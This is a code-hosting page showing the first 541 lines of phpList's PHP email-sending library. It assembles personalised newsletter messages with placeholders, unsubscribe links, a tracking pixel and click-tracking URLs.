PageRenderTime 74ms CodeModel.GetById 36ms RepoModel.GetById 1ms app.codeStats 0ms

/lists/admin/sendemaillib.php

https://bitbucket.org/bontiv/insomnia
PHP | 1154 lines | 926 code | 74 blank | 154 comment | 173 complexity | 2b12481a2b95a85c9b3371db2f9e7a9a MD5 | raw file
Possible License(s): Apache-2.0, LGPL-3.0, LGPL-2.1, GPL-3.0, BSD-3-Clause, GPL-2.0

Large files files are truncated, but you can click here to view the full file

  1. <?php
  2. require_once dirname(__FILE__).'/accesscheck.php';
  3. # send an email library
  4. if (PHPMAILER && is_file(dirname(__FILE__).'/phpmailer/class.phpmailer.php')) {
  5. # phplistmailer, extended of the popular phpmail class
  6. # this is still very experimental
  7. include_once dirname(__FILE__)."/class.phplistmailer.php";
  8. } else {
  9. if (USE_OUTLOOK_OPTIMIZED_HTML) {
  10. require_once dirname(__FILE__)."/class.html.mime.mail-outlookfix.inc";
  11. } else {
  12. require_once dirname(__FILE__)."/class.html.mime.mail.inc";
  13. }
  14. }
  15. if (!function_exists("output")) {
  16. function output($text) {
  17. }
  18. }
  19. function sendEmail ($messageid,$email,$hash,$htmlpref = 0,$rssitems = array(),$forwardedby = array()) {
  20. global $strThisLink,$PoweredByImage,$PoweredByText,$cached,$website;
  21. if ($email == "")
  22. return 0;
  23. #0013076: different content when forwarding 'to a friend'
  24. if (FORWARD_ALTERNATIVE_CONTENT) {
  25. $forwardContent = sizeof( $forwardedby ) > 0;
  26. $messagedata = loadMessageData($messageid);
  27. } else {
  28. $forwardContent = 0;
  29. }
  30. if (empty($cached[$messageid])) {
  31. $domain = getConfig("domain");
  32. $message = Sql_query("select * from {$GLOBALS["tables"]["message"]} where id = $messageid");
  33. $cached[$messageid] = array();
  34. $message = Sql_fetch_array($message);
  35. if (ereg("([^ ]+@[^ ]+)",$message["fromfield"],$regs)) {
  36. # if there is an email in the from, rewrite it as "name <email>"
  37. $message["fromfield"] = ereg_replace($regs[0],"",$message["fromfield"]);
  38. $cached[$messageid]["fromemail"] = $regs[0];
  39. # if the email has < and > take them out here
  40. $cached[$messageid]["fromemail"] = ereg_replace("<","",$cached[$messageid]["fromemail"]);
  41. $cached[$messageid]["fromemail"] = ereg_replace(">","",$cached[$messageid]["fromemail"]);
  42. # make sure there are no quotes around the name
  43. $cached[$messageid]["fromname"] = ereg_replace('"',"",ltrim(rtrim($message["fromfield"])));
  44. } elseif (ereg(" ",$message["fromfield"],$regs)) {
  45. # if there is a space, we need to add the email
  46. $cached[$messageid]["fromname"] = $message["fromfield"];
  47. $cached[$messageid]["fromemail"] = "listmaster@$domain";
  48. } else {
  49. $cached[$messageid]["fromemail"] = $message["fromfield"] . "@$domain";
  50. ## makes more sense not to add the domain to the word, but the help says it does
  51. ## so let's keep it for now
  52. $cached[$messageid]["fromname"] = $message["fromfield"] . "@$domain";
  53. }
  54. # erase double spacing
  55. while (ereg(" ",$cached[$messageid]["fromname"]))
  56. $cached[$messageid]["fromname"] = eregi_replace(" "," ",$cached[$messageid]["fromname"]);
  57. ## this has weird effects when used with only one word, so take it out for now
  58. # $cached[$messageid]["fromname"] = eregi_replace("@","",$cached[$messageid]["fromname"]);
  59. $cached[$messageid]["fromname"] = trim($cached[$messageid]["fromname"]);
  60. $cached[$messageid]["to"] = $message["tofield"];
  61. #0013076: different content when forwarding 'to a friend'
  62. $cached[$messageid]["subject"] = $forwardContent ? stripslashes($messagedata["forwardsubject"]) : $message["subject"];
  63. $cached[$messageid]["replyto"] =$message["replyto"];
  64. #0013076: different content when forwarding 'to a friend'
  65. $cached[$messageid]["content"] = $forwardContent ? stripslashes($messagedata["forwardmessage"]) : $message["message"];
  66. if (USE_MANUAL_TEXT_PART && !$forwardContent) {
  67. $cached[$messageid]["textcontent"] = $message["textmessage"];
  68. } else {
  69. $cached[$messageid]["textcontent"] = '';
  70. }
  71. #0013076: different content when forwarding 'to a friend'
  72. $cached[$messageid]["footer"] = $forwardContent ? stripslashes($messagedata["forwardfooter"]) : $message["footer"];
  73. $cached[$messageid]["htmlformatted"] = $message["htmlformatted"];
  74. $cached[$messageid]["sendformat"] = $message["sendformat"];
  75. if ($message["template"]) {
  76. $req = Sql_Fetch_Row_Query("select template from {$GLOBALS["tables"]["template"]} where id = {$message["template"]}");
  77. $cached[$messageid]["template"] = stripslashes($req[0]);
  78. $cached[$messageid]["templateid"] = $message["template"];
  79. # dbg("TEMPLATE: ".$req[0]);
  80. } else {
  81. $cached[$messageid]["template"] = '';
  82. $cached[$messageid]["templateid"] = 0;
  83. }
  84. ## @@ put this here, so it can become editable per email sent out at a later stage
  85. $cached[$messageid]["html_charset"] = getConfig("html_charset");
  86. ## @@ need to check on validity of charset
  87. if (!$cached[$messageid]["html_charset"])
  88. $cached[$messageid]["html_charset"] = 'iso-8859-1';
  89. $cached[$messageid]["text_charset"] = getConfig("text_charset");
  90. if (!$cached[$messageid]["text_charset"])
  91. $cached[$messageid]["text_charset"] = 'iso-8859-1';
  92. #Force iso encode for text mode
  93. #$cached[$messageid]["text_charset"] = 'iso-8859-1';
  94. #$cached[$messageid]["textcontent"] = utf8_decode($cached[$messageid]["textcontent"]);
  95. }# else
  96. # dbg("Using cached {$cached[$messageid]["fromemail"]}");
  97. if (VERBOSE)
  98. output($GLOBALS['I18N']->get('sendingmessage').' '.$messageid.' '.$GLOBALS['I18N']->get('withsubject').' '.
  99. $cached[$messageid]["subject"].' '.$GLOBALS['I18N']->get('to').' '.$email);
  100. # erase any placeholders that were not found
  101. # $msg = ereg_replace("\[[A-Z ]+\]","",$msg);
  102. #0011857: forward to friend, retain attributes
  103. if ($hash == 'forwarded' && defined('KEEPFORWARDERATTRIBUTES') && KEEPFORWARDERATTRIBUTES) {
  104. $user_att_values = getUserAttributeValues($forwardedby['email']);
  105. } else {
  106. $user_att_values = getUserAttributeValues($email);
  107. }
  108. $userdata = Sql_Fetch_Assoc_Query(sprintf('select * from %s where email = "%s"',
  109. $GLOBALS["tables"]["user"],$email));
  110. $url = getConfig("unsubscribeurl");$sep = ereg('\?',$url)?'&':'?';
  111. $html["unsubscribe"] = sprintf('<a href="%s%suid=%s">%s</a>',$url,$sep,$hash,$strThisLink);
  112. $text["unsubscribe"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  113. $html["unsubscribeurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  114. $text["unsubscribeurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  115. #0013076: Blacklisting posibility for unknown users
  116. $url = getConfig("blacklisturl");$sep = ereg('\?',$url)?'&':'?';
  117. $html["blacklist"] = sprintf('<a href="%s%semail=%s">%s</a>',$url,$sep,$email,$strThisLink);
  118. $text["blacklist"] = sprintf('%s%semail=%s',$url,$sep,$email);
  119. $html["blacklisturl"] = sprintf('%s%semail=%s',$url,$sep,$email);
  120. $text["blacklisturl"] = sprintf('%s%semail=%s',$url,$sep,$email);
  121. #0013076: Problem found during testing: message part must be parsed correctly as well.
  122. if ($forwardContent) {
  123. $html["unsubscribe"] = $html["blacklist"];
  124. $text["unsubscribe"] = $text["blacklist"];
  125. }
  126. $url = getConfig("subscribeurl");$sep = ereg('\?',$url)?'&':'?';
  127. $html["subscribe"] = sprintf('<a href="%s">%s</a>',$url,$strThisLink);
  128. $text["subscribe"] = sprintf('%s',$url);
  129. $html["subscribeurl"] = sprintf('%s',$url);
  130. $text["subscribeurl"] = sprintf('%s',$url);
  131. $url = getConfig("forwardurl");$sep = ereg('\?',$url)?'&':'?';
  132. $html["forward"] = sprintf('<a href="%s%suid=%s&mid=%d">%s</a>',$url,$sep,$hash,$messageid,$strThisLink);
  133. $text["forward"] = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$messageid);
  134. $html["forwardurl"] = sprintf('%s%suid=%s&mid=%d',$url,$sep,$hash,$messageid);
  135. $text["forwardurl"] = $text["forward"];
  136. $url = getConfig("forwardurl");
  137. # make sure there are no newlines, otherwise they get turned into <br/>s
  138. $html["forwardform"] = sprintf('<form method="get" action="%s" name="forwardform" class="forwardform"><input type=hidden name="uid" value="%s" /><input type=hidden name="mid" value="%d" /><input type=hidden name="p" value="forward" /><input type=text name="email" value="" class="forwardinput" /><input name="Send" type="submit" value="%s" class="forwardsubmit"/></form>',$url,$hash,$messageid,$GLOBALS['strForward']);
  139. $text["signature"] = "\n\n--\npowered by phpList, www.phplist.com --\n\n";
  140. $url = getConfig("preferencesurl");$sep = ereg('\?',$url)?'&':'?';
  141. $html["preferences"] = sprintf('<a href="%s%suid=%s">%s</a>',$url,$sep,$hash,$strThisLink);
  142. $text["preferences"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  143. $html["preferencesurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  144. $text["preferencesurl"] = sprintf('%s%suid=%s',$url,$sep,$hash);
  145. /*
  146. We request you retain the signature below in your emails including the links.
  147. This not only gives respect to the large amount of time given freely
  148. by the developers but also helps build interest, traffic and use of
  149. PHPlist, which is beneficial to it's future development.
  150. You can configure how the credits are added to your pages and emails in your
  151. config file.
  152. Michiel Dethmers, phpList Ltd 2003, 2004, 2005, 2006
  153. */
  154. if (!EMAILTEXTCREDITS) {
  155. $html["signature"] = $PoweredByImage;#'<div align="center" id="signature"><a href="http://www.phplist.com"><img src="powerphplist.png" width=88 height=31 title="Powered by PHPlist" alt="Powered by PHPlist" border="0"></a></div>';
  156. # oops, accidentally became spyware, never intended that, so take it out again :-)
  157. $html["signature"] = preg_replace('/src=".*power-phplist.png"/','src="powerphplist.png"',$html["signature"]);
  158. } else {
  159. $html["signature"] = $PoweredByText;
  160. }
  161. # FIXE : change preference
  162. $html["signature"] = '';
  163. $text["signature"] = '';
  164. #$cached[$messageid]["content"] = utf8_decode($cached[$messageid]["content"]);
  165. #$cached[$messageid]["subject"] = utf8_encode($cached[$messageid]["subject"]);
  166. #$cached[$messageid]["footer"] = utf8_encode($cached[$messageid]["footer"]);
  167. $content = $cached[$messageid]["content"];
  168. if (preg_match("/##LISTOWNER=(.*)/",$content,$regs)) {
  169. $listowner = $regs[1];
  170. $content = ereg_replace($regs[0],"",$content);
  171. } else {
  172. $listowner = 0;
  173. }
  174. ## Fetch external content
  175. if ($GLOBALS["has_pear_http_request"] && preg_match("/\[URL:([^\s]+)\]/i",$content,$regs)) {
  176. while (isset($regs[1]) && strlen($regs[1])) {
  177. $url = $regs[1];
  178. if (!preg_match('/^http/i',$url)) {
  179. $url = 'http://'.$url;
  180. }
  181. $remote_content = fetchUrl($url,$userdata);
  182. if ($remote_content) {
  183. $content = eregi_replace(preg_quote($regs[0]),$remote_content,$content);
  184. $cached[$messageid]["htmlformatted"] = strip_tags($content) != $content;
  185. } else {
  186. logEvent("Error fetching URL: $regs[1] to send to $email");
  187. return 0;
  188. }
  189. preg_match("/\[URL:([^\s]+)\]/i",$content,$regs);
  190. }
  191. }
  192. #~Bas 0008857
  193. // @@ Switched off for now, needs rigid testing, or config setting
  194. // $content = mailto2href($content);
  195. // $content = encodeLinks($content);
  196. ## Fill text and html versions depending on given versions.
  197. if ($cached[$messageid]["htmlformatted"]) {
  198. if (!$cached[$messageid]["textcontent"]) {
  199. $textcontent = stripHTML($content);
  200. } else {
  201. $textcontent = $cached[$messageid]["textcontent"];
  202. }
  203. $htmlcontent = $content;
  204. } else {
  205. # $textcontent = $content;
  206. if (!$cached[$messageid]["textcontent"]) {
  207. $textcontent = $content;
  208. } else {
  209. $textcontent = $cached[$messageid]["textcontent"];
  210. }
  211. $htmlcontent = parseText($content);
  212. }
  213. $defaultstyle = getConfig("html_email_style");
  214. $adddefaultstyle = 0;
  215. if ($cached[$messageid]["template"])
  216. # template used
  217. $htmlmessage = eregi_replace("\[CONTENT\]",$htmlcontent,$cached[$messageid]["template"]);
  218. else {
  219. # no template used
  220. $htmlmessage = $htmlcontent;
  221. $adddefaultstyle = 1;
  222. }
  223. $textmessage = $textcontent;
  224. ## Parse placeholders
  225. #0013076: Blacklisting posibility for unknown users
  226. foreach (array("forwardform","subscribe","preferences","unsubscribe", 'blacklist') as $item) { #BUGFIX 0015303, 1/2
  227. if (eregi('\['.$item.'\]',$htmlmessage,$regs)) {
  228. $htmlmessage = eregi_replace('\['.$item.'\]',$html[$item],$htmlmessage);
  229. // unset($html[$item]); //ASK: Why was this done? It breaks placeholders in the footer
  230. }
  231. if (eregi('\['.$item.'\]',$textmessage,$regs)) {
  232. $textmessage = eregi_replace('\['.$item.'\]',$text[$item],$textmessage);
  233. // unset($text[$item]);
  234. }
  235. }
  236. #0013076: Blacklisting posibility for unknown users
  237. foreach (array("forward","forwardurl","subscribeurl","preferencesurl","unsubscribeurl",'blacklisturl') as $item) {
  238. if (eregi('\['.$item.'\]',$htmlmessage,$regs)) {
  239. $htmlmessage = eregi_replace('\['.$item.'\]',$html[$item],$htmlmessage);
  240. }
  241. if (eregi('\['.$item.'\]',$textmessage,$regs)) {
  242. $textmessage = eregi_replace('\['.$item.'\]',$text[$item],$textmessage);
  243. }
  244. }
  245. if ($hash != 'forwarded') {
  246. $text['footer'] = $cached[$messageid]["footer"];
  247. $html['footer'] = $cached[$messageid]["footer"];
  248. } else {
  249. #0013076: different content when forwarding 'to a friend'
  250. if( FORWARD_ALTERNATIVE_CONTENT ) {
  251. $text['footer'] = stripslashes($messagedata["forwardfooter"]);
  252. } else {
  253. $text['footer'] = getConfig('forwardfooter');
  254. }
  255. $html['footer'] = $text['footer'];
  256. }
  257. $text["footer"] = eregi_replace("\[SUBSCRIBE\]",$text["subscribe"],$text['footer']);
  258. $html["footer"] = eregi_replace("\[SUBSCRIBE\]",$html["subscribe"],$html['footer']);
  259. $text["footer"] = eregi_replace("\[PREFERENCES\]",$text["preferences"],$text["footer"]);
  260. $html["footer"] = eregi_replace("\[PREFERENCES\]",$html["preferences"],$html["footer"]);
  261. $text["footer"] = eregi_replace("\[FORWARD\]",$text["forward"],$text["footer"]);
  262. $html["footer"] = eregi_replace("\[FORWARD\]",$html["forward"],$html["footer"]);
  263. $html["footer"] = eregi_replace("\[FORWARDFORM\]",$html["forwardform"],$html["footer"]);
  264. $text["footer"] = eregi_replace("\[BLACKLIST\]",$text["blacklist"],$text['footer']);
  265. $html["footer"] = eregi_replace("\[BLACKLIST\]",$html["blacklist"],$html['footer']);
  266. if (sizeof($forwardedby) && isset($forwardedby['email'])) {
  267. $htmlmessage = eregi_replace("\[FORWARDEDBY]",$forwardedby["email"],$htmlmessage);
  268. $textmessage = eregi_replace("\[FORWARDEDBY]",$forwardedby["email"],$textmessage);
  269. $html["footer"] = eregi_replace("\[FORWARDEDBY]",$forwardedby["email"],$html["footer"]);
  270. $text["footer"] = eregi_replace("\[FORWARDEDBY]",$forwardedby["email"],$text["footer"]);
  271. $text["footer"] = eregi_replace("\[UNSUBSCRIBE\]",$text["blacklist"],$text['footer']);
  272. $html["footer"] = eregi_replace("\[UNSUBSCRIBE\]",$html["blacklist"],$html['footer']);
  273. } else {
  274. $text["footer"] = eregi_replace("\[UNSUBSCRIBE\]",$text["unsubscribe"],$text['footer']);
  275. $html["footer"] = eregi_replace("\[UNSUBSCRIBE\]",$html["unsubscribe"],$html['footer']);
  276. }
  277. $html["footer"] = '<div class="emailfooter">'.nl2br($html["footer"]).'</div>';
  278. if (eregi("\[FOOTER\]",$htmlmessage))
  279. $htmlmessage = eregi_replace("\[FOOTER\]",$html["footer"],$htmlmessage);
  280. elseif ($html["footer"])
  281. $htmlmessage = addHTMLFooter($htmlmessage,'<br /><br />'.$html["footer"]);
  282. if (eregi("\[SIGNATURE\]",$htmlmessage))
  283. $htmlmessage = eregi_replace("\[SIGNATURE\]",$html["signature"],$htmlmessage);
  284. elseif ($html["signature"])
  285. # BUGFIX 0015303, 2/2
  286. // $htmlmessage .= '<br />'.$html["signature"];
  287. $htmlmessage = utf8_decode($htmlmessage);
  288. $htmlmessage = addHTMLFooter($htmlmessage, '
  289. '. $html["signature"]);
  290. # END BUGFIX 0015303, 2/2
  291. $textmessage = utf8_decode($textmessage);
  292. if (eregi("\[FOOTER\]",$textmessage))
  293. $textmessage = eregi_replace("\[FOOTER\]",$text["footer"],$textmessage);
  294. else
  295. $textmessage .= "\n\n".$text["footer"];
  296. if (eregi("\[SIGNATURE\]",$textmessage))
  297. $textmessage = eregi_replace("\[SIGNATURE\]",$text["signature"],$textmessage);
  298. else
  299. $textmessage .= "\n".$text["signature"];
  300. # $req = Sql_Query(sprintf('select filename,data from %s where template = %d',
  301. # $GLOBALS["tables"]["templateimage"],$cached[$messageid]["templateid"]));
  302. $htmlmessage = eregi_replace("\[USERID\]",$hash,$htmlmessage);
  303. $textmessage = eregi_replace("\[USERID\]",$hash,$textmessage);
  304. $htmlmessage = preg_replace("/\[USERTRACK\]/i",'<img src="'.$GLOBALS['scheme'].'://'.$website.$GLOBALS["pageroot"].'/ut.php?u='.$hash.'&m='.$messageid.'" width="1" height="1" border="0">',$htmlmessage,1);
  305. $htmlmessage = eregi_replace("\[USERTRACK\]",'',$htmlmessage);
  306. if ($listowner) {
  307. $att_req = Sql_Query("select name,value from {$GLOBALS["tables"]["adminattribute"]},{$GLOBALS["tables"]["admin_attribute"]} where {$GLOBALS["tables"]["adminattribute"]}.id = {$GLOBALS["tables"]["admin_attribute"]}.adminattributeid and {$GLOBALS["tables"]["admin_attribute"]}.adminid = $listowner");
  308. while ($att = Sql_Fetch_Array($att_req))
  309. $htmlmessage = preg_replace("#\[LISTOWNER.".strtoupper(preg_quote($att["name"]))."\]#",$att["value"],$htmlmessage);
  310. }
  311. if (is_array($GLOBALS["default_config"])) {
  312. foreach($GLOBALS["default_config"] as $key => $val) {
  313. if (is_array($val)) {
  314. $htmlmessage = eregi_replace("\[$key\]",getConfig($key),$htmlmessage);
  315. $textmessage = eregi_replace("\[$key\]",getConfig($key),$textmessage);
  316. }
  317. }
  318. }
  319. ## RSS
  320. if (ENABLE_RSS && sizeof($rssitems)) {
  321. $rssentries = array();
  322. $request = join(",",$rssitems);
  323. $texttemplate = getConfig("rsstexttemplate");
  324. $htmltemplate = getConfig("rsshtmltemplate");
  325. $textseparatortemplate = getConfig("rsstextseparatortemplate");
  326. $htmlseparatortemplate = getConfig("rsshtmlseparatortemplate");
  327. $req = Sql_Query("select * from {$GLOBALS["tables"]["rssitem"]} where id in ($request) order by list,added");
  328. $curlist = "";
  329. while ($row = Sql_Fetch_array($req)) {
  330. if ($curlist != $row["list"]) {
  331. $row["listname"] = ListName($row["list"]);
  332. $curlist = $row["list"];
  333. $rssentries["text"] .= parseRSSTemplate($textseparatortemplate,$row);
  334. $rssentries["html"] .= parseRSSTemplate($htmlseparatortemplate,$row);
  335. }
  336. $data_req = Sql_Query("select * from {$GLOBALS["tables"]["rssitem_data"]} where itemid = {$row["id"]}");
  337. while ($data = Sql_Fetch_Array($data_req))
  338. $row[$data["tag"]] = $data["data"];
  339. $rssentries["text"] .= stripHTML(parseRSSTemplate($texttemplate,$row));
  340. $rssentries["html"] .= parseRSSTemplate($htmltemplate,$row);
  341. }
  342. $htmlmessage = eregi_replace("\[RSS\]",$rssentries["html"],$htmlmessage);
  343. $textmessage = eregi_replace("\[RSS\]",$rssentries["text"],$textmessage);
  344. }
  345. if (is_array($userdata)) {
  346. foreach ($userdata as $name => $value) {
  347. if (eregi("\[".$name."\]",$htmlmessage,$regs)) {
  348. $htmlmessage = eregi_replace("\[".$name."\]",$value,$htmlmessage);
  349. }
  350. if (eregi("\[".$name."\]",$textmessage,$regs)) {
  351. $textmessage = eregi_replace("\[".$name."\]",$value,$textmessage);
  352. }
  353. }
  354. }
  355. $destinationemail = '';
  356. if (is_array($user_att_values)) {
  357. foreach ($user_att_values as $att_name => $att_value) {
  358. if (eregi("\[".$att_name."\]",$htmlmessage,$regs)) {
  359. # the value may be a multiline textarea field
  360. $htmlatt_value = str_replace("\n","<br/>\n",$att_value);
  361. $htmlmessage = eregi_replace("\[".$att_name."\]",$htmlatt_value,$htmlmessage);
  362. }
  363. if (eregi("\[".$att_name."\]",$textmessage,$regs)) {
  364. $textmessage = eregi_replace("\[".$att_name."\]",$att_value,$textmessage);
  365. }
  366. # @@@ undocumented, use alternate field for real email to send to
  367. if (isset($GLOBALS["alternate_email"]) && strtolower($att_name) == strtolower($GLOBALS["alternate_email"])) {
  368. $destinationemail = $att_value;
  369. }
  370. }
  371. }
  372. if (!$destinationemail) {
  373. $destinationemail = $email;
  374. }
  375. if (!ereg('@',$destinationemail) && isset($GLOBALS["expand_unqualifiedemail"])) {
  376. $destinationemail .= $GLOBALS["expand_unqualifiedemail"];
  377. }
  378. if (eregi("\[LISTS\]",$htmlmessage)) {
  379. $lists = "";$listsarr = array();
  380. $req = Sql_Query(sprintf('select list.name from %s as list,%s as listuser where list.id = listuser.listid and listuser.userid = %d',$GLOBALS["tables"]["list"],$GLOBALS["tables"]["listuser"],$user_system_values["id"]));
  381. while ($row = Sql_Fetch_Row($req)) {
  382. array_push($listsarr,$row[0]);
  383. }
  384. $lists_html = join('<br/>',$listsarr);
  385. $lists_text = join("\n",$listsarr);
  386. $htmlmessage = ereg_replace("\[LISTS\]",$lists_html,$htmlmessage);
  387. $textmessage = ereg_replace("\[LISTS\]",$lists_text,$textmessage);
  388. }
  389. ## click tracking
  390. # for now we won't click track forwards, as they are not necessarily users, so everything would fail
  391. if (CLICKTRACK && $hash != 'forwarded') {
  392. $urlbase = '';
  393. # let's leave this for now
  394. /*
  395. if (preg_match('/<base href="(.*)"([^>]*)>/Umis',$htmlmessage,$regs)) {
  396. $urlbase = $regs[1];
  397. } else {
  398. $urlbase = '';
  399. }
  400. # print "URLBASE: $urlbase<br/>";
  401. */
  402. # convert html message
  403. # preg_match_all('/<a href="?([^> "]*)"?([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  404. preg_match_all('/<a(.*)href=["\'](.*)["\']([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  405. # to process the Yahoo webpage with base href and link like <a href=link> we'd need this one
  406. # preg_match_all('/<a href=([^> ]*)([^>]*)>(.*)<\/a>/Umis',$htmlmessage,$links);
  407. $clicktrack_root = sprintf('%s://%s/lt.php',$GLOBALS["scheme"],$website.$GLOBALS["pageroot"]);
  408. for($i=0; $i<count($links[2]); $i++){
  409. $link = cleanUrl($links[2][$i]);
  410. $link = str_replace('"','',$link);
  411. if (preg_match('/\.$/',$link)) {
  412. $link = substr($link,0,-1);
  413. }
  414. $linkid = 0;
  415. # print "LINK: $link<br/>";
  416. if ((preg_match('/^http|ftp/',$link) || preg_match('/^http|ftp/',$urlbase)) && $link != 'http://www.phplist.com' && !strpos($link,$clicktrack_root)) {
  417. # take off personal uids
  418. $url = cleanUrl($link,array('PHPSESSID','uid'));
  419. # $url = preg_replace('/&uid=[^\s&]+/','',$link);
  420. # if (!strpos('http:',$link)) {
  421. # $link = $urlbase . $link;
  422. # }
  423. $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,url,forward)
  424. values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,addslashes($link)));
  425. $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forward = "%s"
  426. ',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$link));
  427. $linkid = $req[0];
  428. $masked = "H|$linkid|$messageid|".$userdata['id'] ^ XORmask;
  429. $masked = urlencode(base64_encode($masked));
  430. $newlink = sprintf('<a%shref="%s://%s/lt.php?id=%s" %s>%s</a>',$links[1][$i],$GLOBALS["scheme"],$website.$GLOBALS["pageroot"],$masked,$links[3][$i],$links[4][$i]);
  431. $htmlmessage = str_replace($links[0][$i], $newlink, $htmlmessage);
  432. }
  433. }
  434. # convert Text message
  435. # first find occurances of our top domain, to avoid replacing them later
  436. # hmm, this is no point, it's not just *our* topdomain, but any
  437. if (0) {
  438. preg_match_all('#(https?://'.$GLOBALS['website'].'/?)\s+#mis',$textmessage,$links);
  439. # preg_match_all('#(https?://[a-z0-9\./\#\?&:@=%\-]+)#ims',$textmessage,$links);
  440. # preg_match_all('!(https?:\/\/www\.[a-zA-Z0-9\.\/#~\?+=&%@-_]+)!mis',$textmessage,$links);
  441. for($i=0; $i<count($links[1]); $i++){
  442. # not entirely sure why strtolower was used, but it seems to break things http://mantis.phplist.com/view.php?id=4406
  443. # $link = strtolower(cleanUrl($links[1][$i]));
  444. $link = cleanUrl($links[1][$i]);
  445. if (preg_match('/\.$/',$link)) {
  446. $link = substr($link,0,-1);
  447. }
  448. $linkid = 0;
  449. if (preg_match('/^http|ftp/',$link) && $link != 'http://www.phplist.com' && !strpos($link,$clicktrack_root)) {
  450. $url = cleanUrl($link,array('PHPSESSID','uid'));
  451. $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,url,forward)
  452. values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,$link));
  453. $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forward = "%s"
  454. ',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$link));
  455. $linkid = $req[0];
  456. $masked = "T|$linkid|$messageid|".$userdata['id'] ^ XORmask;
  457. $masked = urlencode(base64_encode($masked));
  458. $newlink = sprintf('%s://%s/lt.php?id=%s',$GLOBALS["scheme"],$website.$GLOBALS["pageroot"],$masked);
  459. $textmessage = str_replace($links[0][$i], '<'.$newlink.'>', $textmessage);
  460. }
  461. }
  462. }
  463. #now find the rest
  464. # @@@ needs to expand to find complete urls like:
  465. #http://user:password@www.web-site.com:1234/document.php?parameter=something&otherpar=somethingelse#anchor
  466. # or secure
  467. #https://user:password@www.website.com:2345/document.php?parameter=something%20&otherpar=somethingelse#anchor
  468. preg_match_all('#(https?://[^\s\>\}\,]+)#mis',$textmessage,$links);
  469. # preg_match_all('#(https?://[a-z0-9\./\#\?&:@=%\-]+)#ims',$textmessage,$links);
  470. # preg_match_all('!(https?:\/\/www\.[a-zA-Z0-9\.\/#~\?+=&%@-_]+)!mis',$textmessage,$links);
  471. ## sort the results in reverse order, so that they are replaced correctly
  472. rsort($links[1]);
  473. $newlinks = array();
  474. for($i=0; $i<count($links[1]); $i++){
  475. $link = cleanUrl($links[1][$i]);
  476. if (preg_match('/\.$/',$link)) {
  477. $link = substr($link,0,-1);
  478. }
  479. $linkid = 0;
  480. if (preg_match('/^http|ftp/',$link) && $link != 'http://www.phplist.com') {# && !strpos($link,$clicktrack_root)) {
  481. $url = cleanUrl($link,array('PHPSESSID','uid'));
  482. $req = Sql_Query(sprintf('insert ignore into %s (messageid,userid,url,forward)
  483. values(%d,%d,"%s","%s")',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$url,$link));
  484. $req = Sql_Fetch_Row_Query(sprintf('select linkid from %s where messageid = %s and userid = %d and forward = "%s"
  485. ',$GLOBALS['tables']['linktrack'],$messageid,$userdata['id'],$link));
  486. $linkid = $req[0];
  487. $masked = "T|$linkid|$messageid|".$userdata['id'] ^ XORmask;
  488. $masked = urlencode(base64_encode($masked));
  489. $newlinks[$linkid] = sprintf('%s://%s/lt.php?id=%s',$GLOBALS["scheme"],$website.$GLOBALS["pageroot"],$masked);
  490. # print $links[0][$i] .' -> '.$newlink.'<br/>';
  491. $textmessage = str_replace($links[1][$i], '[%%%'.$linkid.'%%%]', $textmessage);
  492. }
  493. }
  494. foreach ($newlinks as $linkid => $newlink) {
  495. $textmessage = str_replace('[%%%'.$linkid.'%%%]',$newlink, $textmessage);
  496. }
  497. }
  498. #
  499. if (eregi("\[LISTS\]",$htmlmessage)) {
  500. $lists = "";$listsarr = array();
  501. $req = Sql_Query(sprintf('select list.name from %s as list,%s as listuser where list.id = listuser.listid and listuser.userid = %d',$tables["list"],$tables["listuser"],$user_system_values["id"]));
  502. while ($row = Sql_Fetch_Row($req)) {
  503. array_push($listsarr,$row[0]);
  504. }
  505. $lists_html = join('<br/>',$listsarr);
  506. $lists_text = join("\n",$listsarr);
  507. $htmlmessage = ereg_replace("\[LISTS\]",$lists_html,$htmlmessage);
  508. $textmessage = ereg_replace("\[LISTS\]",$lists_text,$textmessage);
  509. }
  510. #0011996: forward to friend - personal message
  511. if (FORWARD_PERSONAL_NOTE_SIZE && $hash = 'forwarded' && !empty($forwardedby['personalNote']) ) {
  512. $htmlmessage = nl2br($forwardedby['personalNote']) . '<br/>' . $htmlmessage;
  513. $textmessage = $forwardedby['personalNote'] . "\n" . $textmessage;
  514. }
  515. ## remove any existing placeholders
  516. $htmlmessage = eregi_replace("\[[A-Z\. ]+\]","",$htmlmessage);
  517. $textmessage = eregi_replace("\[[A-Z\. ]+\]","",$textmessage);
  518. ## check that the HTML message as proper <head> </head> and <body> </body> tags
  519. # some readers fail when it doesn't
  520. if (!preg_match("#<body.*</body>#ims",$htmlmessage)) {
  521. $htmlmessage = '<body>'.$htmlmessage.'</body>';
  522. }
  523. if (!preg_match("#<head>.*</head>#ims",$htmlmessage)) {
  524. if (!$adddefaultstyle) {
  525. $defaultstyle = "";
  526. }
  527. $htmlmessage = '<head>
  528. <meta content="text/html;charset='.$cached[$messageid]["html_charset"].'" http-equiv="Content-Type">
  529. <title></title>'.$defaultstyle.'</head>'.$htmlmessage;
  530. }
  531. if (!preg_match("#<html>.*</html>#ims",$htmlmessage)) {
  532. $htmlmessage = '<html>'.$htmlmessage.'</html>';
  533. }
  534. # particularly Outlook seems to have trouble if it is not \r\n
  535. # reports have come that instead this creates lots of trouble
  536. # this is now done in the global sendMail function, so it is not
  537. # necessary here
  538. # if (USE_CARRIAGE_RETURNS) {
  539. # $htmlmessage = preg_replace("/\r?\n/", "\r\n", $htmlmessage);
  540. # $textmessage = preg_replace("/\r?\n/", "\r\n", $textmessage);
  541. # }
